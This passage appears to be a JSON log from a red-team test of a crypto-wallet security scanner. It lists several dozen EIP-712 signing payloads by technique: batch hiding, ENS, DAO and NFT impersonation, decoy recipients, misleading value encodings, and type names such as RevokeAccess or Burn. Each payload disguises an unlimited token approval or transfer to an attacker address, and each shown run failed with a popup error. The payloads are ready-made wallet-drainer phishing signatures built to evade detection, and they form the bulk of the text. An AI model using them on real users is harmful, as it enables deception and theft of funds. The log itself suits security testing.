Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:57:39.574Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:57:49.134Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:57:58.693Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:58:08.248Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:58:17.813Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:58:27.358Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:58:36.915Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:58:46.470Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:58:56.037Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:59:05.594Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:59:15.139Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:59:24.682Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:59:34.243Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN55-EIP3009-022", "timestamp": "2026-01-31T18:59:43.792Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x4f619ce35dc2bab44c4165801c35d938f87718a1497c0d4075994b459948a19e\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN55-EIP3009-054", "timestamp": "2026-01-31T18:59:53.354Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf0726e1b5b38e546c1f43a3ca3c64c7a92e5bd34be6cd376c5d5c9df41eb4602\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:00:02.898Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:00:12.453Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:00:21.999Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:00:31.558Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:00:41.103Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 